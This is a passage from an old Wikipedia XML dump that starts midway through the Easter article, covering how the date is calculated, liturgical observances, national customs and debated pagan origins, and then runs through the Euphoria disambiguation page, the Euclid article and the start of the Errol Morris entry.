The practice of those following Rome was to celebrate Easter on the first Sunday after the earliest fourteenth day of a lunar month that occurred on or after [[March 21]]. During the Middle Ages this practice was more succinctly phrased as ''Easter is observed on the Sunday after the first [[full moon]] on or after the day of the [[vernal equinox]]''. This full moon is called the Paschal full moon. The Church of Rome used its own methods to determine Easter until the 6th century, when it may have adopted the Alexandrian method as converted into the [[Julian calendar]] by [[Dionysius Exiguus]] (certain proof of this does not exist until the [[ninth century]]). Most churches in the [[British Isles]] used a late [[third century]] Roman method to determine Easter until they adopted the Alexandrian method at the [[Synod of Whitby]] in 664. Churches in western continental Europe used a late Roman method until the late 8th century during the reign of [[Charlemagne]], when they finally adopted the Alexandrian method. Since western churches now use the [[Gregorian calendar]] to calculate the date and Eastern Orthodox churches use the original [[Julian calendar]], their dates are not usually aligned in the present day.

At a summit in [[Aleppo]], [[Syria]], in 1997, the [[World Council of Churches]] proposed a reform in the calculation of Easter which would have replaced an equation-based method of calculating Easter with direct astronomical observation; this would have side-stepped the calendar issue and eliminated the difference in date between the Eastern and Western churches. The reform was proposed for implementation starting in 2001, but it was not ultimately adopted by any member body. {{further|[[Reform of the date of Easter]]}}

A few clergymen of various denominations have advanced the notion of disregarding the moon altogether in determining the date of Easter; proposals include always observing the feast on the second Sunday in April, or always having seven Sundays between the [[Epiphany (feast)|Epiphany]] and [[Ash Wednesday]], producing the same result except that in leap years Easter could fall on [[April 7]]. These suggestions have yet to attract significant support, and their adoption in the future is considered unlikely.

===Computations===
The calculations for the date of Easter are somewhat complicated. See [[computus]] for a discussion covering both the traditional tabular methods and more exclusively mathematical [[algorithms]] such as the one developed by mathematician [[Carl Friedrich Gauss]].

In the Western Church, Easter has not fallen on the earliest of the 35 possible dates, [[March 22]], since 1818, and will not do so again until 2285. It will, however, fall just one day after its earliest possible date in 2008. Easter last fell on the latest possible date, [[April 25]] in 1943, and will next fall on that date in 2038. However, it will fall just one day before this latest possible date in 2011. 

Historically, other forms of determining the holiday's date were also used. For example, [[Quartodecimanism]] was the practice of setting the holiday on the 14th day of the [[Hebrew Calendar|Jewish]] month of [[Nisan]], which is the day of preparation for [[Passover]].

==Position in the church year==
===Western Christianity===
In Western Christianity, Easter marks the end of the forty days of [[Lent]], a period of fasting and penitence in preparation for Easter which begins on [[Ash Wednesday]] and ends at Easter Sunday.

The week before Easter is very special in the Christian tradition: the Sunday before is [[Palm Sunday]], and the last three days before Easter are [[Maundy Thursday]] or Holy Thursday, [[Good Friday]] and [[Holy Saturday]] (sometimes referred to as [[Silent Saturday]]). Palm Sunday, Maundy Thursday and Good Friday respectively commemorate Jesus' entry in Jerusalem, the [[Last Supper]] and the [[Crucifixion]]. Holy Thursday, Good Friday, and Holy Saturday are sometimes referred to as the [[Easter Triduum]] ([[Latin]] for &quot;Three Days&quot;). In some countries, Easter lasts two days, with the second called &quot;[[Easter Monday]]&quot;. The week beginning with Easter Sunday is called [[Easter Week]] or the Octave of Easter, and each day is prefaced with 'Easter', e.g. Easter Monday, Easter Tuesday, etc. Easter Saturday is therefore the Saturday ''after'' Easter Sunday. The day before Easter is properly called Holy Saturday. Many churches start celebrating Easter late in the evening of Holy Saturday at a service called the [[Easter Vigil]].

[[Eastertide]], the season of Easter, begins on Easter Sunday and lasts until the day of [[Pentecost]], seven weeks later.

===Eastern Christianity===
In Eastern Christianity, preparations begin with [[Great Lent]]. Following the fifth Sunday of Great Lent is Palm Week, which ends with [[Lazarus]] Saturday. Lazarus Saturday officially brings Great Lent to a close, although the fast continues for the following week. After Lazarus Saturday comes Palm Sunday, [[Holy Week]], and finally Easter itself, or Pascha (Πάσχα), and the fast is broken immediately after the Divine Liturgy. Easter is immediately followed by Bright Week, during which there is no fasting, even on Wednesday and Friday.

The Paschal Divine Liturgy generally takes place around midnight, into the early morning of Pascha. Placing the Paschal Divine Liturgy at midnight guarantees that no Divine Liturgy will come earlier in the morning, ensuring its place as the pre-eminent &quot;Feast of Feasts&quot; in the [[liturgical year]].

==Religious observation of Easter==
===Western Christianity===
The Easter festival is kept in many different ways among [[Western Christianity|Western Christians]]. The traditional, [[liturgy|liturgical]] observation of Easter, as practised among [[Roman Catholic Church|Roman Catholics]] and some [[Lutheran]]s and [[Anglican]]s begins on the night of [[Holy Saturday]] with the [[Easter Vigil]]. This, the most important liturgy of the year, begins in total darkness with the blessing of the Easter fire, the lighting of the large [[Paschal candle]] (symbolic of the Risen Christ) and the chanting of the [[Exsultet]] or Easter Proclamation attributed to Saint [[Ambrose of Milan]]. After this service of light, a number of readings from the [[Old Testament]] are read; these tell the stories of [[creation]], the sacrifice of [[Isaac]], the crossing of the [[Red Sea]], and the foretold coming of the [[Messiah]]. This part of the service climaxes with the singing of the [[Alleluia]] and the proclamation of the [[gospel]] of the [[resurrection]]. A [[sermon]] may be preached after the gospel. Then the focus moves from the [[lectern]] to the [[font]]. Anciently, Easter was considered the most perfect time to receive [[baptism]], and this practice is alive in [[Roman Catholicism]], as it is the time when new members are initiated into the Church, and it is being revived in some other circles. Whether there are baptisms at this point or not, it is traditional for the congregation to renew the vows of their baptismal faith. This act is often sealed by the sprinkling of the congregation with [[holy water]] from the font. The Catholic [[sacrament]] of [[Confirmation]] is also celebrated at the Vigil.  The Easter Vigil concludes with the celebration of the [[Eucharist]] and [[Holy Communion]]. Additional celebrations are usually offered on Easter Sunday itself. Some churches prefer to keep this vigil very early on the Sunday morning instead of the Saturday night to reflect the gospel account of the women coming to the tomb at dawn on the first day of the week. Some churches read the Old Testament lessons before the procession of the Paschal candle, and then read the gospel immediately after the Exsultet.

In predominantly Roman Catholic [[Philippines]], the morning of Easter (known in the national language as [[Pasko ng Muling Pagkabuhay]] or the Pasch of the Resurrection) is marked with joyous celebration, the first being the dawn [[Salubong]], wherein large statues of Jesus and Mary are brought together to meet, imagining the first reunion of Jesus and his mother Mary after Jesus' Resurrection.  This is followed by the joyous Easter Mass.

===Eastern Christianity===
'''Easter''' is the fundamental and most important festival of the [[Eastern Orthodoxy|Eastern]] and [[Oriental Orthodoxy|Oriental]] Orthodox. Every other religious festival on their calendars, including [[Christmas]], is at best secondary in importance to the celebration of the Resurrection of the Lord. This is reflected in the cultures of countries that are traditionally Orthodox Christian majority. Easter-connected social customs are native and rich. Christmas customs, on the other hand, are usually foreign imports, either from [[Germany]] or the [[United States|USA]]. [[Eastern Rite|Eastern Rite Catholics]] in [[Communion (Christian)|communion]] with the [[Pope|Pope of Rome]] have similar emphasis in their calendars, and many of their liturgical customs are very similar.

This is not to say that Christmas and other elements of the Christian liturgical calendar are ignored. Instead, these events are all seen as necessary but ''preliminary'' to the full climax of the Resurrection, in which all that has come before reaches fulfilment and fruition. Pascha (Easter) is the primary act that fulfils the purpose of Christ's ministry on earth&amp;mdash;to defeat death by dying and to purify and exalt humanity by voluntarily assuming and overcoming human frailty. This is succinctly summarized by the Paschal [[Troparion]], sung repeatedly during Pascha until the [[Apodosis]] of Pascha (which is the day before [[Ascension]]):

{| border=1 cellpadding=2 cellspacing=0 width=100%
|- style=&quot;background:#efefef&quot;
! [[English language|English]] !! [[Koine Greek|Greek]] !! [[Church Slavonic language|Church Slavonic]]*
|-
|Christ is risen from the dead,&lt;br /&gt;Trampling down death by death,&lt;br /&gt;And upon those in the tombs&lt;br /&gt;Bestowing life!
|{{polytonic|Χριστὸς ἀνέστη ἐκ νεκρῶν,&lt;br /&gt;θανάτῳ θάνατον πατήσας,&lt;br /&gt;καὶ τοῖς ἐν τοῖς μνήμασι,&lt;br /&gt;ζωὴν χαρισάμενος!}}
|&lt;span lang=&quot;cu&quot; class=&quot;Cyrillic&quot; style=&quot;font-family:{{CYchar fonts}}&quot;&gt;Хрїсто&amp;#769;съ воскре&amp;#769;се и&amp;#769;зъ ме&amp;#769;ртвыхъ,&lt;br /&gt;Сме&amp;#769;ртїю сме&amp;#769;рть попра&amp;#769;въ,&lt;br /&gt;И сѹ&amp;#769;щымъ во гробѣ&amp;#769;хъ&lt;br /&gt;живо&amp;#769;тъ Дарова&amp;#769;въ!&lt;/span&gt;
|-
| align=&quot;center&quot; size=&quot;+1&quot;| '''Transliterations'''
|Christos anesti ek nekron,&lt;br /&gt;Thanato thanaton patisas,&lt;br /&gt;Kai tis en tis mnimasi&lt;br /&gt;Zo-in charisamenos!
|Christos voskrese iz mertvich,&lt;br /&gt;Smertiu smert poprav,&lt;br /&gt;I soushchim vo grobyech&lt;br /&gt;Zhivot darovav!
|}
&lt;small&gt;*This language is not well-supported on many systems, so it may not appear as intended here.&lt;/small&gt;

Celebration of the holiday begins with the &quot;anti-celebration&quot; of [[Great Lent]]. In addition to fasting, almsgiving, and prayer, Orthodox are supposed to reduce all entertainment and non-essential activity, gradually eliminating them until Holy Friday. Traditionally, on the evening of Holy Saturday, the Midnight Office is celebrated shortly after 11:00 pm. At its completion all light in the church building is extinguished. A new flame is struck in the altar, or the priest lights his candle from a perpetual lamp kept burning there, and he then lights candles held by deacons or other assistants, who then go to light candles held by the congregation. Entirely lit by candle, the priest and congregation process around the church building, re-entering ideally at the stroke of midnight, whereupon [[Matins]] begins immediately followed by the Paschal [[Canonical hours|Hours]] and then the [[Divine Liturgy]]. Immediately after the Liturgy it is customary for the congregation to share a meal, essentially an [[agape]] dinner (albeit at 2.00 am or later!) [[Image:neObgig_Samara.jpg|frame|right|The [[Holy Fire]] in Jerusalem, celebrated on Holy Saturday, has been described as the oldest miracle-related ceremony in Christendom.]]

The day after, Easter Sunday proper, there is no liturgy, since the liturgy for that day has already been celebrated. Instead, in the afternoon, it is often traditional to hold &quot;Agape vespers&quot;. In this service, it has become customary during the last few centuries for the priest and members of the congregation to read a portion of the Gospel of John (20:19&amp;ndash;25 or 19&amp;ndash;31) in as many languages as they can manage.

For the remainder of the week (known as &quot;Bright Week&quot;), all fasting is prohibited, and the customary greeting is &quot;Christ is risen!&quot;, to be responded with &quot;Truly He is risen!&quot; (See also [[Pascha greeting]])

==Non-religious Easter traditions==
As with many other Christian dates, the celebration of Easter extends beyond the church. Since its origins, it has been a time of celebration and feasting. Today it is commercially important, seeing wide sales of [[greeting card]]s and confectionery such as chocolate [[Easter eggs (decorative)|Easter eggs]], marshmallow bunnies, [[Peeps]], and [[jelly beans]].

Despite the religious preeminence of Easter, in many traditionally Christian countries [[Christmas]] is now a more prominent event in the calendar year, being unrivaled as a festive season, commercial opportunity, and time of family gathering &amp;mdash; even for those of no or only nominal faith. Easter's relatively modest secular observances place it a distant second or third among the less religiously inclined where Christmas is so prominent.

===North America===
In the [[United States]] and [[Canada]], the Easter holiday has been partially secularized, so that some North American families participate only in the attendant revelry, central to which is decorating [[Easter eggs (decorative)|Easter eggs]] on Saturday evening and hunting for them Sunday morning, by which time they have been mysteriously hidden all over the house and garden. According to the children's stories, the eggs were hidden overnight and other treats delivered by the [[Easter Bunny]] in an Easter basket which children find waiting for them when they wake up. The Easter Bunny's motives for doing this are seldom clarified. Many families in North America will attend [[Sunday Mass]] in the morning and then participate in a feast or party in the afternoon.

===Scandinavia===
In [[Norway]], in addition to skiing in the mountains and painting eggs for decorating, it is tradition to solve murders at Easter. All the major television channels show crime and detective stories (such as ''[[Agatha Christie's Poirot|Poirot]]''), magazines print stories where the readers can try to figure out who did it, and many new books are published. Even the milk cartons change to have murder stories on their sides. Another tradition is [[Yahtzee]] games.

===Central Europe===
In the [[Czech Republic]] and [[Slovakia]], a tradition of whipping is carried out on [[Easter Monday]]. In the morning, males whip females with a special handmade whip called '''''pomlázka''''' (in Czech) or '''''korbáč''''' (in Slovak). The pomlázka/korbáč consists of eight, twelve or even twenty-four withies (willow rods) and is usually from half a meter to two meters long and decorated with coloured ribbons at the end. It must be mentioned that while whipping can be painful, the purpose is not to cause suffering. Rather, the purpose is for males to exhibit their attraction to females; unvisited females can even feel offended. The whipped female gives a coloured [[Easter egg|egg]] to the male as a sign of her thanks and forgiveness. A legend says that females should be whipped in order to keep their health and fertility during whole next year. The females can get revenge in the afternoon when they can pour a bucket of cold water on any male. The habit slightly varies across the Czech Republic. A similar tradition existed in [[Poland]] (where it is called [[Dyngus Day]]), but it is now little more than an all-day waterfight. 

In [[Hungary]] (where it is called [[Ducking Monday]]), [[perfume]] or perfumed water is often sprinkled in exchange for an [[Easter egg]].

==Easter controversies==
===Anti-Easter Christians===
Some [[Fundamentalist Christianity|Christian fundamentalists]] reject nearly all the customs surrounding Easter, believing them to be irrevocably tainted with [[paganism]] and [[idolatry]].  Others, like the Sabbatarian [[Church of God]] groups, claim to adhere to a more primitive form of Christianity, and keep a [[Christian Passover]] which lacks most of the practices or symbols associated with Easter and retains more features of the Jewish observance.

===Possible pagan influences on Easter traditions===
[[Image:Easter bunny.jpg|thumb|right|An Easter Bunny]]
In his 'De Temporum Ratione' the [[Venerable Bede]] wrote that the month [[Eostremonat]] was so named because of a goddess, [[Eostre]], who had formerly been worshipped in that month. In recent years some scholars (Ronald Hutton, P.D. Chantepie de la Saussaye, Elizabeth Freeman) have suggested that a lack of supporting documentation for this goddess might indicate that Bede assumed her existence based on the name of the month. Others note that Bede's status as &quot;the Father of English History&quot;, having been the author of the first substantial history of England ever written, might make the lack of additional mention for a goddess whose worship had already died out by Bede's time unsurprising. The debate receives considerable attention because the name 'Easter' is derived from Eostremonat, and thus, according to Bede, from the pagan goddess Eostre.

[[Jakob Grimm]] took up the question of Eostre in his Deutsche Mythologie of 1835, noting that Ostaramanoth was etymologically related to Eostremonat and writing of various landmarks and customs related to the goddess [[Ostara]] in Germany. Again, because of a lack of written documentation, critics suggest that Grimm took Bede's mention of a goddess Eostre at face value and constructed the goddess Ostara around existing Germanic customs which may have arisen independently. Others point to Grimm's stated intent to gather and record oral traditions which might otherwise be lost as explanation for the lack of further documentation. Amongst other traditions, Grimm connected the 'Osterhase' ([[Easter Bunny]]) and [[Easter Eggs]] to the goddess Ostara/Eostre. He also cites various place names in Germany as being evidence of Ostara, but critics contend that the close etymological relationship between Ostara and the words for 'east' and 'dawn' could mean that these place names referred to either of those two things rather than a goddess.

Bede's ''[[Historia ecclesiastica gentis Anglorum]]'' (&quot;Ecclesiastic History of the English People&quot;) contains a letter from [[Pope]] [[Gregory I]] to [[Saint Mellitus]], who was then on his way to [[England]] to conduct missionary work among the [[heathen]] [[Anglo-Saxons]]. The Pope [http://www.englishheathenism.homestead.com/popesletter.html suggests that] converting heathens is easier if they are allowed to retain the outward forms of their traditional pagan practices and traditions, while recasting those traditions spiritually towards Christianity instead of to their indigenous gods (whom the Pope refers to as &quot;devils&quot;), &quot;to the end that, whilst some gratifications are outwardly permitted them, they may the more easily consent to the inward consolations of the grace of God&quot;. The Pope sanctioned such conversion tactics as [[Bible|biblically]] acceptable, pointing out that God did much the same thing with the ancient [[Israelite]]s and their pagan sacrifices. This practice might explain the incorporation of Eostre traditions into the Christian holiday.

However, the giving of eggs at spring festivals was not restricted to [[Germanic peoples]] and could be found among the [[Persians]], [[Ancient Rome|Romans]], [[Jews]] and the [[Armenians]]. They were a widespread symbol of rebirth and resurrection and thus might have been adopted from any number of sources.

===Easter as a Sumerian festival===
Some suggest an etymological relationship between Eostre and the [[Sumer]]ian goddess [[Ishtar]] ([http://www.christiananswers.net/q-eden/edn-t020.html] [http://www.lasttrumpetministries.org/tracts/tract1.html] [http://www.pathlights.com/theselastdays/tracts/tract_22n.htm] [http://www.tiral.com/2004/04/the_origins_of_.html]) and the possibility that aspects of an ancient festival accompanied the name, claiming that the worship of [[Bel]] and Astarte was anciently introduced into [[Britain]], and that the hot cross buns of Good Friday and dyed eggs of Easter Sunday figured in the Chaldean rites just as they do now.

At best, any connection between Ishtar and Easter is geographically and linguistically distant, and tangential.  In Old English, &quot;Easter&quot; was the name of Goddess of the Dawn, whose festival was observed at the vernal equinox.  Her festival is believed to be responsible for the bunnies and the chicks and the Easter eggs - at least as they were celebrated in England.

Otherwise, claiming a connection between Ishtar and Easter ignores the fact that Easter is called &quot;Passover&quot; in almost every other language in the world.  (The only exceptions appear to be the languages of those people who first learned Christianity at the hands of English or other Anglophone missionaries.)  The Hebrew ''Pesach'' became the Greek ''Paskha'' and the Latin ''Pascha'', and from their became Spanish ''La Pascua'' and ''Las Pascuas'', Scots Gaelic ''An Casca'' (&quot;p&quot; sound mutated to &quot;k&quot; sound), and so on.

There is the additional problem that the very lands where Ishtar was once known have never been known to use a name like &quot;Easter&quot; for this or any other spring holiday.

==Miscellaneous==
===Word for &quot;Easter&quot; in various languages===
====Names related to [[Eostremonat]] ([[Eostre]] Month)====
* [[English language|English]] ''Easter''
* [[German language|German]] ''Ostern''
* [[Samoan language|Samoan]] ''Eseta'' (derived from English)
====Names derived from the [[Hebrew language|Hebrew]] ''Pesach'' ([[Passover]])====
* [[Latin]] ''Pascha'' or ''Festa Paschalia''
* [[Greek language|Greek]] ''Πάσχα'' (''Paskha'')
* [[Afrikaans language|Afrikaans]] ''Paasfees''
* [[Arabic language|Arabic]] ''عيد الفصح'' (''ʿĪdu l-Fiṣḥ'')
* [[Bulgarian language|Bulgarian]] ''Пасха'' (''Paskha'')
* [[Catalan language|Catalan]] ''Pasqua''
* [[Danish language|Danish]] ''Påske''
* [[Dutch language|Dutch]] ''Pasen''
* [[Esperanto]] ''Pasko''
* [[Finnish language|Finnish]] ''Pääsiäinen''
* [[French language|French]] ''Pâques''
* [[Icelandic language|Icelandic]] ''Páskar''
* [[Indonesian language|Indonesian]] ''Paskah''
* [[Irish language|Irish]] ''Cáisg''
* [[Italian language|Italian]] ''Pasqua''
* Lower [[Rhine]] [[German language|German]] ''Paisken''
* [[Norwegian language|Norwegian]] ''Påske''
* [[Tagalog language|Tagalog]] (Philippines) ''Pasko ng Muling Pagkabuhay'' (literally &quot;the Pasch of the Resurrection&quot;)
* [[Portuguese language|Portuguese]] ''Páscoa''
* [[Romanian language|Romanian]] ''Paşti''
* [[Russian language|Russian]] ''Пасха'' (''Paskha'')
* [[Scottish Gaelic language|Scottish Gaelic]] ''Casca''
* [[Spanish language|Spanish]] ''Pascua''
* [[Swedish language|Swedish]] ''Påsk''
* [[Turkish language|Turkish]] ''Paskalya''
* [[Welsh language|Welsh]] ''Pasg''

====Names used in other languages====
* [[Belarusian language|Belarusian]] ''Вялікдзень'' or ''Vialikdzen’'' (literally &quot;the Great Day&quot;)
* [[Bulgarian language|Bulgarian]] ''Великден'' (''Velikden'', literally &quot;the Great Day&quot;)
* {{zh-stp|s=复活节|t=復活節|p=Fùhuó Jié}} (literally &quot;Resurrection Festival&quot;)
* [[Croatian language|Croatian]] ''Uskrs'' (literally &quot;resurrection&quot;)
* [[Czech language|Czech]] ''Velikonoce'' (literally &quot;Great Nights&quot; [plural, no singular exists])
* [[Estonian language|Estonian]] ''Lihavõtted'' (literally &quot;meat taking&quot;)
* [[Hungarian language|Hungarian]] ''Húsvét'' (literally &quot;taking, or buying meat&quot;)
* [[Japanese language|Japanese]] 復活祭 (''Fukkatsu-sai'', literally &quot;resurrection festival&quot;)
* [[Korean language|Korean]] 부활절 (''Puhwalchol'', literally &quot;Resurrection season&quot;)
* [[Latvian language|Latvian]] ''Lieldienas'' (literally &quot;the Great Days&quot;, no singular exists)
* [[Lithuanian language|Lithuanian]] ''Velykos'' (derived from Slavic languages, no singular exists)
* [[Polish language|Polish]] ''Wielkanoc'' (literally &quot;the Great Night&quot;)
* [[Serbian language|Serbian]] ''Ускрс'' (''Uskrs'') or ''Васкрс'' (''Vaskrs'', literally &quot;resurrection&quot;)
* [[Slovak language|Slovak]] ''Veľká Noc'' (literally &quot;the Great Night&quot;)
* [[Slovenian language|Slovenian]] ''Velika noč'' (literally &quot;the Great Night&quot;)
* [[Tongan language|Tongan (South-pacific)]] ''Pekia'' (literally &quot;death (of a lord)&quot;)
* [[Ukrainian language|Ukrainian]] ''Великдень'' (''Velykden’'', literally &quot;the Great Day&quot;) or ''Паска'' (''Paska'')

==External links==
===Liturgical===
*[http://www.liturgies.net/Easter/Easter.htm Liturgical Resources for Easter]
===Traditions===
*[http://www.orthodox.net/pascha/ Eastern Orthodox views on Easter]
*[http://www.newadvent.org/cathen/05224d.htm Roman Catholic view of Easter] (from the [[Catholic Encyclopedia]])
*[http://www.ucg.org/booklets/HH/easterbiblicaltruth.htm Easter: Masking a Biblical Truth]

===Calculating===
*[http://www.ely.anglican.org/cgi-bin/easter Calculator for the date of Festivals (Anglican)]
*[http://www.noeticspace.com/paschalion Paschal Calculator (Eastern Orthodox)]
===National traditions===
*[http://virtual.finland.fi/netcomm/news/showarticle.asp?intNWSAID=26050&amp;LAN=ENG Easter traditions in Finland]
*[http://www.osterkartenausstellung.at Easter-postcards from 1898 to today from 32 countries all over the world]
*[http://brazilpostcard.com/pascoapg.html Easter Vintage Postcards]

{{Holy Week}}

[[FR:Pâques]]

[[Category:Christian festivals]]
[[Category:Easter]]
[[Category:Holidays]]

{{Link FA|cs}}

[[bg:Великден]]
[[ca:Pasqua de Resurrecció]]
[[cs:Velikonoce]]
[[de:Ostern]]
[[el:Πάσχα]]
[[eo:Pasko]]
[[es:Pascua]]
[[fa:عید پاک]]
[[fi:Pääsiäinen]]
[[he:פסחא]]
[[id:Paskah]]
[[it:Pasqua]]
[[ja:復活祭]]
[[ka:აღდგომა]]
[[li:Paosje]]
[[lt:Velykos]]
[[nl:Paasfeest]]
[[no:Påske]]
[[pl:Wielkanoc]]
[[pt:Páscoa]]
[[ro:Paşti]]
[[ru:Пасха]]
[[sv:Påsk]]
[[uk:Великдень]]
[[vi:Lễ Phục Sinh]]
[[zh-tw:復活節]]
[[zh-min-nan:Koh-oa̍h-cheh]]</text>
    </revision>
  </page>
  <page>
    <title>Euphoria</title>
    <id>9328</id>
    <revision>
      <id>42098490</id>
      <timestamp>2006-03-03T20:43:28Z</timestamp>
      <contributor>
        <ip>217.144.2.115</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|euphoria}}
'''Euphoria''' is a state of intense [[happiness]]. &quot;Euphoria&quot; may also refer to:

In '''entertainment''':
*[[Euphoria (band)]], a U.S. psychedelica music group
*[[Euphoria (music project)]], a music project comprised mostly of Canadian and British musicians including Anne Dudley, Roy Babbington, Geddy Lee, Ken Ramm, and B.J. Cole
*[[Euphoria (Australian band)]], an Australian pop/dance music act from the 1990s
*[[Euphoria (Indian band)]], a popular Indian band
*''[[Euphoria (Def Leppard album)]]'' (1999), an album by British rock band [[Def Leppard]]
*''[[Euphoric (album)]]'' (1999), an album by Canadian industrial/electronic band [[Delerium]]
*''[[Euphoria (Leftover Salmon album)]]'' (1997), an album by U.S. bluegrass/rock band [[Leftover Salmon]]
*''[[Euphoria (compilations)]]'', a line of compilation albums consisting mainly of [[trance music|trance]] and chillout genres
*''[[Euphoria (movie)]]'', a movie directed by Brad Armstrong (see {{imdb title | id = 0306790 | title = Euphoria}})
*''[[Euphoria (Jordanian rock band)]], formed in 2005. performed at the doors cafe on 2/3/2006.

In '''computing''':
*[[Euphoria programming language|Euphoria]], an interpreted programming language
*Euphoria, an [[XMMS]] plugin made with the [[Enlightenment foundation libraries]]

{{disambig}}

[[ja:ユーフォリア]]</text>
    </revision>
  </page>
  <page>
    <title>EucliD</title>
    <id>9330</id>
    <revision>
      <id>15907226</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Euclid]]
</text>
    </revision>
  </page>
  <page>
    <title>Euclid</title>
    <id>9331</id>
    <revision>
      <id>42153673</id>
      <timestamp>2006-03-04T04:19:11Z</timestamp>
      <contributor>
        <username>Bcrowell</username>
        <id>6286</id>
      </contributor>
      <comment>replace link to Greek-only PDF with a more useful one that has English translations on facing pages</comment>
      <text xml:space="preserve">:''For other senses of this word, see [[Euclid (disambiguation)]].''
[[Image:Euklid2.jpg|thumb|Euclid]]
'''Euclid of Alexandria ''' ([[Greek language|Greek]]: {{polytonic|Εὐκλείδης}}) (ca. [[325 BC]]&amp;ndash;[[265 BC]]) was a [[Hellenistic]] [[mathematician]] who lived in [[Alexandria]], [[Egypt]] almost certainly during the reign of [[Ptolemy I]] ([[323 BC]]&amp;ndash;[[283 BC]]). Often considered as the &quot;father of [[geometry]]&quot;, his most popular work is ''[[Euclid's Elements|Elements]]'', which is often considered to be one of the most successful [[textbook]]s in the [[history of mathematics]].  Within it, the properties of [[geometry|geometrical]] objects and [[integer]]s are deduced from a small set of [[axiom]]s, thereby anticipating (and partly inspiring) the [[axiomatic method]] of modern [[mathematics]].

Euclid also wrote works on [[Perspective (visual)|perspective]], [[conic section]]s, [[spherical geometry]], and possibly [[Quadric|quadric surfaces]]. Neither the year nor place of his birth have been established, nor the circumstances of his death.

== ''The Elements'' ==
{{main|Euclid's Elements}}

Although many of the results in ''Elements'' originated with earlier mathematicians, one of Euclid's accomplishments was to present them in a single, logically coherent framework. In addition to providing some missing [[mathematical proof|proof]]s, Euclid's text also includes sections on [[number theory]] and [[three-dimensional geometry]].  In particular, Euclid's proof of the infinitude of [[prime number]]s is in Book IX, Proposition 20.

The geometrical system described in ''Elements'' was long known simply as &quot;the&quot; geometry. Today, however, it is often referred to as [[Euclidean geometry]] to distinguish it from other so-called [[Non-Euclidean geometry|''non-Euclidean'' geometries]] which were discovered in the [[19th century]]. These new geometries grew out of more than two [[millennium|millennia]] of investigation into Euclid's [[Parallel postulate|fifth postulate]], one of the most-studied [[axiom]]s in all of mathematics. Most of these investigations involved attempts to prove the relatively complex and presumably non-intuitive fifth postulate using the other four (a feat which, if successful, would have shown the postulate to be in fact a [[theorem]]).

==Other works==
In addition to the ''Elements'', four works of Euclid have survived to the present day.
* ''[[Data]]'' deals with the nature and implications of &quot;given&quot; information in geometrical problems; the subject matter is closely related to the first four books of the ''Elements''.
* ''On Divisions of Figures'', which survives only partially in [[Arabic language|Arabic]] translation, concerns the division of geometrical figures into two or more equal parts or into parts in given [[ratio]]s. It is similar to a [[third century]] (AD) work by [[Heron of Alexandria]], except Euclid's work characteristically lacks any numerical calculations.
* ''Phaenomena'' concerns the application of [[spherical geometry]] to problems of [[astronomy]].
* ''Optics'', the earliest surviving [[Greek language|Greek]] treatise on [[perspective]], contains propositions on the apparent sizes and shapes of objects viewed from different distances and angles.

All of these works follow the basic logical structure of the ''Elements'', containing definitions and proved propositions.

There are four works credibly attributed to Euclid which have been lost
* ''Conics'' was a work on [[conic section]]s that was later extended by [[Apollonius of Perga]] into his famous work on the subject.
* ''[[Porism]]s'' might have been an outgrowth of Euclid's work with conic sections, but the exact meaning of the title is controversial.
* ''Pseudaria'', or ''Book of Fallacies'', was an elementary text about errors in [[reasoning]].
* ''Surface Loci'' concerned either [[Locus (mathematics)|loci]] (sets of points) on surfaces or loci which were themselves surfaces; under the latter interpretation, it has been hypothesized that the work might have dealt with [[Quadric|quadric surfaces]].
[[Image:Euklid-von-Alexandria 1.jpg|right|150px]]

==Biographical sources==
Almost nothing is known about Euclid outside of what is presented in ''Elements'' and his few other surviving books. What little biographical information we do have comes largely from commentaries by [[Proclus]] and [[Pappus of Alexandria]]: he was active at the [[Library of Alexandria|great library in Alexandria]] and may have studied at [[Plato]]'s [[Academe]] in [[Greece]], but his exact lifespan and place of birth are unknown.

In the [[Middle Ages]], writers sometimes referred to him as ''[[Euclid of Megara]]'', confusing him with a Greek [[Socrates|Socratic]] [[philosopher]] who lived approximately one century earlier.

== References ==
* Bulmer-Thomas, Ivor (1971). &quot;Euclid&quot;. ''Dictionary of Scientific Biography.''
* Heath, Thomas L. (1956). ''The Thirteen Books of Euclid's Elements'', Vol. 1 (2nd ed.). New York: Dover Publications. ISBN 0-486-60088-2.
* Heath, Thomas L. (1981). ''A History of Greek Mathematics'', 2 Vols. New York: Dover Publications. ISBN 0-486-24073-8 / ISBN 0-486-24074-6.
* Kline, Morris (1980). ''Mathematics: The Loss of Certainty''. Oxford: Oxford University Press. ISBN 0-19-502754-X.

== External links ==
* [http://farside.ph.utexas.edu/euclid.html Euclid's elements], with the original Greek and an English translation on facing pages
* [http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Euclid.html Euclid entry] at the [http://www-groups.dcs.st-and.ac.uk/~history/index.html MacTutor History of Mathematics archive]
* [http://www.worldcatlibraries.org/wcpa/ow/e8ebf8aa9507bdc9.html Library search at WorldCat] for ''The Medieval Latin translation of the Data of Euclid'' by [[Shuntaro Ito]]
* [http://www.eucliduniversity.org Euclid University] for ''The only accredited university actually named after Euclid''

[[Category:365 BC births]]
[[Category:275 BC deaths]]
[[Category:Ancient mathematicians]]

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  <page>
    <title>Errol Morris</title>
    <id>9332</id>
    <revision>
      <id>42004863</id>
      <timestamp>2006-03-03T04:10:52Z</timestamp>
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      <text xml:space="preserve">[[Image:Errol morris.jpg|thumb|200px|Errol Morris]]

'''Errol Morris''' (born [[February 5]], [[1948]]) is an [[United States|American]] [[Academy Award]] winning [[documentary film]] director. In 2003'' [[The Guardian]]'' listed him as number seven in their [http://film.guardian.co.uk/features/page/0,11456,1082823,00.html list] of the world's 40 best directors. 

==Early life and education==

